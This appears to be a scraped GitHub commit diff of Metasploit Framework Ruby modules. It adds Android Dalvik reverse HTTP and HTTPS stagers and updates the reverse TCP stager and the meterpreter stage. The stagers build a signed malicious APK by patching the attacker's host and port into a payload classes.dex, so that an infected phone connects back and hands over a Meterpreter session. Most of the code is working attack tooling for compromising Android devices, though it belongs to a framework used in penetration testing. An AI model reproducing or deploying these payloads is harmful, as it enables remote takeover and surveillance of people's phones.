+ classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
+
+ string_sub(classes, '127.0.0.1:M ', datastore['LHOST'].to_s + ":H") if datastore['LHOST']
+ string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT']
+ jar.add_file("classes.dex", fix_dex_header(classes))
+
+ files = [
+ [ "AndroidManifest.xml" ],
+ [ "res", "drawable-mdpi", "icon.png" ],
+ [ "res", "layout", "main.xml" ],
+ [ "resources.arsc" ]
+ ]
+
+ jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
+ jar.build_manifest
+
+ x509_name = OpenSSL::X509::Name.parse(
+ "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown"
+ )
+ key = OpenSSL::PKey::RSA.new(1024)
+ cert = OpenSSL::X509::Certificate.new
+ cert.version = 2
+ cert.serial = 1
+ cert.subject = x509_name
+ cert.issuer = x509_name
+ cert.public_key = key.public_key
+
+ # Some time within the last 3 years
+ cert.not_before = Time.now - rand(3600*24*365*3)
+
+ # From http://developer.android.com/tools/publishing/app-signing.html
+ # """
+ # A validity period of more than 25 years is recommended.
+ #
+ # If you plan to publish your application(s) on Google Play, note
+ # that a validity period ending after 22 October 2033 is a
+ # requirement. You can not upload an application if it is signed
+ # with a key whose validity expires before that date.
+ # """
+ cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
+
+ jar.sign(key, cert, [cert])
+
+ jar
+ end
+
+end
View
88 modules/payloads/stagers/android/reverse_https.rb
@@ -0,0 +1,88 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+#
+#thanks to @SheriefEldeeb for explaining reverse_http concept
+
+require 'msf/core'
+require 'msf/core/handler/reverse_https'
+
+module Metasploit3
+
+ include Msf::Payload::Stager
+ include Msf::Payload::Dalvik
+
+ def initialize(info = {})
+ super(merge_info(info,
+ 'Name' => 'Dalvik Reverse HTTPS Stager',
+ 'Description' => 'Tunnel communication over HTTPS',
+ 'Author' => 'anwarelmakrahy',
+ 'License' => MSF_LICENSE,
+ 'Platform' => 'android',
+ 'Arch' => ARCH_DALVIK,
+ 'Handler' => Msf::Handler::ReverseHttps,
+ 'Stager' => {'Payload' => ""}
+ ))
+
+ @class_files = [
+ [ "metasploit", "PayloadTrustManager.class" ],
+ ]
+ end
+
+ def string_sub(data, placeholder, input)
+ data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
+ end
+
+ def generate_jar(opts={})
+ jar = Rex::Zip::Jar.new
+
+ classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
+
+ string_sub(classes, '127.0.0.1:M ', datastore['LHOST'].to_s + ":HS") if datastore['LHOST']
+ string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT']
+ jar.add_file("classes.dex", fix_dex_header(classes))
+
+ files = [
+ [ "AndroidManifest.xml" ],
+ [ "res", "drawable-mdpi", "icon.png" ],
+ [ "res", "layout", "main.xml" ],
+ [ "resources.arsc" ]
+ ]
+
+ jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk"))
+ jar.build_manifest
+
+ x509_name = OpenSSL::X509::Name.parse(
+ "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown"
+ )
+ key = OpenSSL::PKey::RSA.new(1024)
+ cert = OpenSSL::X509::Certificate.new
+ cert.version = 2
+ cert.serial = 1
+ cert.subject = x509_name
+ cert.issuer = x509_name
+ cert.public_key = key.public_key
+
+ # Some time within the last 3 years
+ cert.not_before = Time.now - rand(3600*24*365*3)
+
+ # From http://developer.android.com/tools/publishing/app-signing.html
+ # """
+ # A validity period of more than 25 years is recommended.
+ #
+ # If you plan to publish your application(s) on Google Play, note
+ # that a validity period ending after 22 October 2033 is a
+ # requirement. You can not upload an application if it is signed
+ # with a key whose validity expires before that date.
+ # """
+ cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
+
+ jar.sign(key, cert, [cert])
+
+ jar
+ end
+
+end
View
2  modules/payloads/stagers/android/reverse_tcp.rb
@@ -37,7 +37,7 @@ def generate_jar(opts={})
classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'})
- string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST']
+ string_sub(classes, '127.0.0.1:M ', datastore['LHOST'].to_s + ":T") if datastore['LHOST']
string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT']
jar.add_file("classes.dex", fix_dex_header(classes))
View
15 modules/payloads/stages/android/meterpreter.rb
@@ -30,6 +30,11 @@ def initialize(info = {})
'Arch' => ARCH_DALVIK,
'License' => MSF_LICENSE,
'Session' => Msf::Sessions::Meterpreter_Java_Java))
+
+ register_options(
+ [
+ OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
+ ], self.class)
end
#
@@ -48,4 +53,14 @@ def generate_stage
# it from, and then finally the meterpreter stage
java_string(clazz) + java_string(metstage) + java_string(met)
end
+
+ def on_session(session)
+ super
+ framework.sessions.schedule Proc.new {
+ session.init_ui(self.user_input, self.user_output)
+ if (datastore['AutoLoadAndroid'] == true)
+ session.load_android
+ end
+ }
+ end
end
Something went wrong with that request. Please try again.